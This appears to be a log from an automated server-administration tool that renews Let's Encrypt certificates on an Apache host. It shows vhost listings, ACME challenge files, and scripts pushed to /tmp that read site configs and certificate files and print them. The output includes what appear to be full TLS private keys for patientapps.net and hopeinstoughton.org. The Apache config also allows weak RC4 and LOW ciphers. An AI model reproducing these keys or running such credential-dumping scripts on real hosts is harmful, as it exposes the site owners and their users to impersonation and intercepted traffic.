         port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-17 06:01:14: 

PUT: /tmp/pkp652091

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_www_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-17 06:01:14: 

chmod 755 /tmp/pkp652091; /tmp/pkp652091; rm /tmp/pkp652091

2026-02-17 06:01:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_www_net.conf	1517
<VirtualHost *:80>
    ServerName	patientapps.net
    ServerAlias	www.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_www
    <Directory /var/www/patientapps_www>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientapps.net
    ServerAlias	www.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8.crt
    DocumentRoot	/var/www/patientapps_www
    <Directory /var/www/patientapps_www>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Files apple-app-site-association>
        Header set Content-type	"application/json"
    </Files>
    
    CustomLog	/var/log/apache2/patientapps/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>







2026-02-17 06:01:14: 

PUT: /tmp/pkp995066

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-17 06:01:14: 

chmod 755 /tmp/pkp995066; /tmp/pkp995066; rm /tmp/pkp995066

2026-02-17 06:01:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8.crt	5372
7a:0f:db:93:29:69:a4:97:66:d9:de:c4:aa:2a:7b:c8

-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBjLuL71tpul+6Ng8zoOypHUIMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjE3MDUwMjQxWhcNMjYwNTE4MDUwMjQwWjAaMRgwFgYDVQQD
Ew9wYXRpZW50YXBwcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCc0o6vu8MY95s6+Z5s1JdpQocxZ9aCycJfVeFg+in/VfyWRNiJ6vtNbMHr9lU2
OtgE742YJxoJOFPdgesf03YoysVojV+ZRs+HnSz70/Fx67t8jXePpMve8eE8iaS6
s+pEBF5Ca1ybWCHNCFm6fwatF8SQkTGL8h0LC/LqlqwuwlZbi5zTS6JlJMvXkJT5
KrtTD6FJHPAtX1sZhOkaipyr8VAnlkQkijjSnJ+jjxxVIB48iYBZTGQuKASA+7Pe
pMJoWrPZrX5Yynd84XuChWELtiokGX0/Qy6jLu4wcDhCo90hIC2WWOo2uZ7sElSK
qiqOoJ5IpnpT9Cjr5WqvJIlzAgMBAAGjggIxMIICLTAOBgNVHQ8BAf8EBAMCBaAw
EwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUjnzL
LmKWL7RSTeUrXJAGb3pcTu0wHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKEDjvW
kjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmkubGVu
Y3Iub3JnLzAvBgNVHREEKDAmgg9wYXRpZW50YXBwcy5uZXSCE3d3dy5wYXRpZW50
YXBwcy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLQYDVR0fBCYwJDAioCCgHoYc
aHR0cDovL3IxMy5jLmxlbmNyLm9yZy85LmNybDCCAQwGCisGAQQB1nkCBAIEgf0E
gfoA+AB+AHF+lfPCOIptseOEST0x4VqpYgh2LUIA4AUM0Ge1pmHiAAABnGowPdgA
CAAABQAJp16uBAMARzBFAiEAqucMePQbLqOcZBA23ZOxAkYmJnPBvoHgfiWnkD90
iT4CIBVYHNTRd3tW/PvSK4if99MT1qfc/sVU4fgOV3uhXMusAHYA0W6ppWgHfmY1
oD83pd28A6U8QRIU1IgY9ekxsyPLlQQAAAGcajA9+QAABAMARzBFAiEAgY7Uwudt
Fi9B1hhHdmzzHeWTJD/tFbidsTKUsDh3gA0CIB3Vv6PVTMcLcd1lSVLyyfSrbEeJ
9Nwlgp5SAAG30TejMA0GCSqGSIb3DQEBCwUAA4IBAQBI0v7zB+j3RHLj8/NrDPU8
ubF2LAH3xqlStK2Ln/vC+0BQpdKlDDnnIvVgr/7bT/gQwPFExo88FFT1TKMODlMJ
+19zhET3rr/2nwyUzvuAUQSyLoCVA5HLNlrGHXZDjso8bL1iqC9KO+YzvzC/Fecq
xSw6KQaZZgUAP70E3dmfP3hZoLRXMZyhfgfxK651MtCizuY7U1QScpuwswiyro5P
K3aYE7+99tD71ErZoUkUcVN3gmlRbRfxqlxY/rFYHanamG96YeeJ81D4W5HgNo7z
E6irS+W8vXdgNbIm2j9/aEwatR4sjW92C9CnPVQfXmM+U2ll6XR2vVHHrJGgi5xP
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCc0o6vu8MY95s6
+Z5s1JdpQocxZ9aCycJfVeFg+in/VfyWRNiJ6vtNbMHr9lU2OtgE742YJxoJOFPd
gesf03YoysVojV+ZRs+HnSz70/Fx67t8jXePpMve8eE8iaS6s+pEBF5Ca1ybWCHN
CFm6fwatF8SQkTGL8h0LC/LqlqwuwlZbi5zTS6JlJMvXkJT5KrtTD6FJHPAtX1sZ
hOkaipyr8VAnlkQkijjSnJ+jjxxVIB48iYBZTGQuKASA+7PepMJoWrPZrX5Yynd8
4XuChWELtiokGX0/Qy6jLu4wcDhCo90hIC2WWOo2uZ7sElSKqiqOoJ5IpnpT9Cjr
5WqvJIlzAgMBAAECggEAA4SO94Cl92O+hSEmyBGGGNy0Lv3eFor6h1byZPws8hxa
AvAJh3Z7K4rlWA55wxX+Kk1KP/Gd75CRICaTJOCe6SVXvIVx/+AZUap1707iW09K
vtERkzE0nYw6XY2c4ZZktT04vBMhkwIQi5jEsLsQgn8NcBPeKIx/QvQQcT7u5hGW
CBO4mD+ATku2wNTb0c5tT9MNNDL+w7O93uYL6mUaAA/cciwSdqBr4biN5q8iQseG
3Y4hpnxeGhRGD5BJqdGyK10i7WEcHcxLXeopMfERYjVRrMTeRPVXxGjHH9FMCUbn
uqjGA5Ei/nW1KT9NEJpa5cB/WgySKI80mYthUWwmOQKBgQDYnoF9u4+wZHlM1isV
xtgfb5M1Gup+C7D6fOr43zTToA0OA8JYX+zcOHYamKfVjKTTLgaYbABDwIbWmC7U
+ZNK43G/1SQtUXsTGNGGnFtNTRpadsTKhelDwbejP9HMmTiZdT8FZqiq+B7l+wtJ
mS3D3SdWfNm+sAP2+isYjo99nQKBgQC5VRqRGXV1gtLmhY5m/ew3J74HRecqyc8S
xv0rpssuZ3QaeEB4smiRYSHEiqLZth5AA4WeHvsvsZzl9hcNUAWvhc4HBl437iTC
Dyp70VGlbetLvmEJKiSkDOLHCMUQzEuSCAHHBFJUGFinv6CxYGBf8PvxMZsMb7Ya
P0e0c7f+TwKBgF2zqvX1dUFrJOFs3zRLUF/Axt+45ehiLEseUBIZk2Nbn2oJjD7o
N7BHKCd3E1qXvRCwnx+90Bt+o5UePVvZHbLOUf0WOND1pxRqru/YoNH+YUDykUu9
w1qQ6FvQlnM3cDlJc1plvt49+DepcYeDoD1SY9rQpOwMfZqPOqcju8QtAoGACm0u
RHGBOS41/UAQRd0NOAElYLVfDvoxiyXkwlrs3Vx2nLKdNe0bkuo7AxqllMf5JbLN
BptJmGJOqGVS4K3a1AgcEisai9z69mvyAOtCw6LOdQFt5h0X2J7c90OYCpzjt4B5
0R9+HjsMacuPF8uLQHqHQgd/aJC0Vv+uYgmMlWMCgYA8i6391RJPl7hIRxI85RTq
XCiPyIymPOe5/yfLp3rZvjjDVagqM3xz3eLPhuNmpQdrGw7zIjGvVOlYKPk9FMyF
i0FUApqqci/QIiaKygAI/t49k4NQ4YIjwmOQdG0y+/E7UWJIBW1woqyCU3Na7uiA
uP6yUZe7RdTAd0oRt6Bi4A==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-02-18 06:00:02: Establishing a connection
2026-02-18 06:00:02: Establishing a connection
2026-02-18 06:00:03: 

PUT: /tmp/pkp854364

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-18 06:00:03: 

chmod 755 /tmp/pkp854364; /tmp/pkp854364; rm /tmp/pkp854364

2026-02-18 06:00:03: 


1


2026-02-18 06:00:05: Establishing a connection
2026-02-18 06:00:05: 

PUT: /tmp/pkp580225

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_www/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_www/.well-known/acme-challenge/"
cat > zTrfKrm2APi79o24f0deHuyWi5fBurR_BaYqtTcPQTs <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
zTrfKrm2APi79o24f0deHuyWi5fBurR_BaYqtTcPQTs.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 zTrfKrm2APi79o24f0deHuyWi5fBurR_BaYqtTcPQTs
cat > _vSRjC2ovYLfMnY_TKGKLfR_vfJCeKdcHq0ERVm-ewk <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
_vSRjC2ovYLfMnY_TKGKLfR_vfJCeKdcHq0ERVm-ewk.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 _vSRjC2ovYLfMnY_TKGKLfR_vfJCeKdcHq0ERVm-ewk


2026-02-18 06:00:05: 

chmod 755 /tmp/pkp580225; /tmp/pkp580225; rm /tmp/pkp580225

2026-02-18 06:00:05: 




2026-02-18 06:00:13: Establishing a connection
2026-02-18 06:00:13: 

PUT: /tmp/pkp939518

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_www/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_www/.well-known/acme-challenge/"
rm zTrfKrm2APi79o24f0deHuyWi5fBurR_BaYqtTcPQTs
rm _vSRjC2ovYLfMnY_TKGKLfR_vfJCeKdcHq0ERVm-ewk


2026-02-18 06:00:13: 

chmod 755 /tmp/pkp939518; /tmp/pkp939518; rm /tmp/pkp939518

2026-02-18 06:00:13: 




2026-02-18 06:00:13: Establishing a connection
2026-02-18 06:00:13: 

PUT: /tmp/pkp860739

#!/bin/bash
temp_file=$(mktemp)
TARGET=490fd86317cc9a7ba4710967bbbfc2a7.crt

cat > $temp_file <<'endmsg'
df:bd:03:64:ba:23:b8:68:10:e3:ed:c9:53:99:b0:8e

-----BEGIN CERTIFICATE-----
MIIFEzCCA/ugAwIBAgISBak3QBaN51BAtZY2oGVejmVcMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjE4MDUwMTQzWhcNMjYwNTE5MDUwMTQyWjAeMRwwGgYDVQQD
ExNob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAsJQJenh92p/3ICQ/rGUd76BJofKqusvRTJjDKi0d2s58spGOkrkBNvep
7jsCzu8hNEmitnw0vCtq/IuaMwhg1Hw/jlK0PnkO7+cQC/zjLZDyhPYR7IZ63s6E
s71OQDVDjFj/Ruu15VJBWLiBkWsyBMViaOCAQM3dk3XjdqcI+dWCMpaKOmm5faUo
yXijf2qKtekpVJ1Me4f6NiHhcln+u5bE+rZi7vj7ZGYXmcwnwsXB7ve+WFtDG/Sd
dLUktKi+mK+jwsY1UOPoa6/0LuBCKYZEGz6PhyUS4IPVm1y11q3phPIrO8sM7EXh
Q74YHPJcPfQMd9fgXWsb7276lJcYRwIDAQABo4ICNDCCAjAwDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FGITLZV9cazgVAAxhGGss0unqKC8MB8GA1UdIwQYMBaAFOernw8sM6BT015PeMiy
hA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMy5p
LmxlbmNyLm9yZy8wNwYDVR0RBDAwLoITaG9wZWluc3RvdWdodG9uLm9yZ4IXd3d3
LmhvcGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0f
BCcwJTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy85My5jcmwwggEGBgor
BgEEAdZ5AgQCBIH3BIH0APIAdwAWgy2r8KklDw/wOqVF/8i/yCPQh0v2BCkn+Ocf
MxP1+gAAAZxvVbJ+AAAEAwBIMEYCIQCRuig23y9TUT60BkHu9APR/sH29czVamei
iRTAWXXfwwIhALhI4y8XDe59dOjATM/VRfIff2peYT4vB71Drkf46f5rAHcAyzj3
FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGcb1WyfQAABAMASDBGAiEA
0uCuW9nA+x1nY9C5CyabS4bNT2LPKzM+/eecVV9wXIYCIQDtH1ot/69JtPJtigfO
tghVUuL2cyOnTtQRFQXyRf2GTzANBgkqhkiG9w0BAQsFAAOCAQEAN7dwOiHM7k/s
a7Y4ErHzLUDgPu8bqOt5Y6XZtxfJafiyv2h2l/BkaQ5/1yPivMn7zV+cb+okjazI
Bz6DlBk2yE4glSnlsU+3BL0/zpAPJRZ96LTlHEUzm4FnO+kz98NFN2PNIa+mV6/T
UBnp3eNzgca7/UFFNV7QypW66JyYdc3lofzzyzjF81fq1alBEnG1YOXZ7BWChXWi
Py6BYkZPF918MJ03EkIEjq2I+EvBDh9sDAJ4nxLL2ZqMRDVN0thR6yfC+c758+O0
JDE8k2v9dCf7pJev5oW5+Lk5I2zPWgqcx7/gDNBwAHabJxCeAubQv0Ndgh093wpw
DvfrkRrjKw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCwlAl6eH3an/cg
JD+sZR3voEmh8qq6y9FMmMMqLR3aznyykY6SuQE296nuOwLO7yE0SaK2fDS8K2r8
i5ozCGDUfD+OUrQ+eQ7v5xAL/OMtkPKE9hHshnrezoSzvU5ANUOMWP9G67XlUkFY
uIGRazIExWJo4IBAzd2TdeN2pwj51YIyloo6abl9pSjJeKN/aoq16SlUnUx7h/o2
IeFyWf67lsT6tmLu+PtkZheZzCfCxcHu975YW0Mb9J10tSS0qL6Yr6PCxjVQ4+hr
r/Qu4EIphkQbPo+HJRLgg9WbXLXWremE8is7ywzsReFDvhgc8lw99Ax31+Bdaxvv
bvqUlxhHAgMBAAECggEAS7oRHo7SGpKD3yrsi7iJ0ByDt4pkoduLFThmao4SwaXQ
YJx/8niZBsPMArkYCTsQmGYD/BLkYtaT+V69cKllLXtjnlvlpO0x9Ly5awq3OvFw
sIj/QtqhkzAqRRMoney53VTFldq8lW5jS/NEzeKU/urPu36cQi6Hmhfyxw33kXzC
/OxDf7Pd0U6zk5diweTd6V3cVChGnWxWuqlXcaRIq1OeP0cx3He+oQVmaQaqU1NS
z8+xP6VUUjwokCKqsg426S5rattAcyM0Djy2GhikmExaBpiJIPz5MsgAtrGgV2lo
/YXmfy7gwermtL0h1VzhxdHRosRRr4nbr+sPmaOSEQKBgQDahgC72GxrtFt2KXrz
r5NsnkAUkFkE6rzUE8vaXSB6n/jozGyLnjubIgJrKtX830rTLNUPF5QI5Ixh1Z/s
hh5kjb9dev2Wk3lurGnigxg4Y6nyBNHEs99UbD9lJ7BLqj9JH3V7JZjKuR48EaL3
2LF6P7ZM2ee2VOfKyb+TCR3rhQKBgQDO3Hvcl5bEITvO/Fv94JETbvm2E2m55Ywi
xev8rBR/LLg0lBtgw4uZDVwxENNqdxNVLkijfbU/bi45NtE1cVU9uJ+ITfP7danN
6eTX1/yWUyQgzXrgV/ZaiZs/JqZkzvIvK7tacJybyFW/B8WOhzGIsC+nWM5U4V6L
XrcKq2DgWwKBgCKrrCYhmmIkRXaj8iwDqWJMYWJh3J3ZGIiVc3x71hFenEFjXb1x
J4ffh361Vyo9y0NiE5PHa+dVS6iiGjOOu/e8PaZ5Qw7G6zdSB6K2pfscZPRPK3EI
EOD2I8DK4T/ADTZu1Vbqiilv4YoqSi8EpHP+88+Rqx/UrMoR5GFRyvt5AoGAQQGS
vwC4NUxIUkSF2CNhE91VBb3WBMA5KJhQD6g4DLsN7B/69o6c6O0E4rpp5dQjtCoG
U7JmadeDGSG73vKNmgbRw3DT0lrokLgG3TmXu9nGybQpACVEWrFRoyfPNHDANMim
aMZowJ/VKmIT2DVuAIl1gD5tIMlt/5g1J1ox6G8CgYBatcoe6pZ4eO+S0IqLXprb
YPfKlj9RFoFA1x7vOqwhBSIPpjrqJzkS/E9RVoTZfCLTjndSCvj3yQU1X1cWlY03
HfZIQnwknONfGhaZpHdMM+C39a4z+OS9DVGT4ajYZodtsqFMH0bOxHzHd4FIipln
nrV0GxfWIdX2vMqQXuuUAg==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-18 06:00:14: 

chmod 755 /tmp/pkp860739; /tmp/pkp860739; rm /tmp/pkp860739

2026-02-18 06:00:14: 


dir=/etc/ssl/certs


2026-02-18 06:00:14: 

PUT: /tmp/pkp103626

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-18 06:00:14: 

chmod 755 /tmp/pkp103626; /tmp/pkp103626; rm /tmp/pkp103626

2026-02-18 06:00:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf 47
<VirtualHost *:80>
    ServerName	hopeinstoughton.org
    ServerAlias	www.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_www
    <Directory /var/www/hopeinstoughton_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
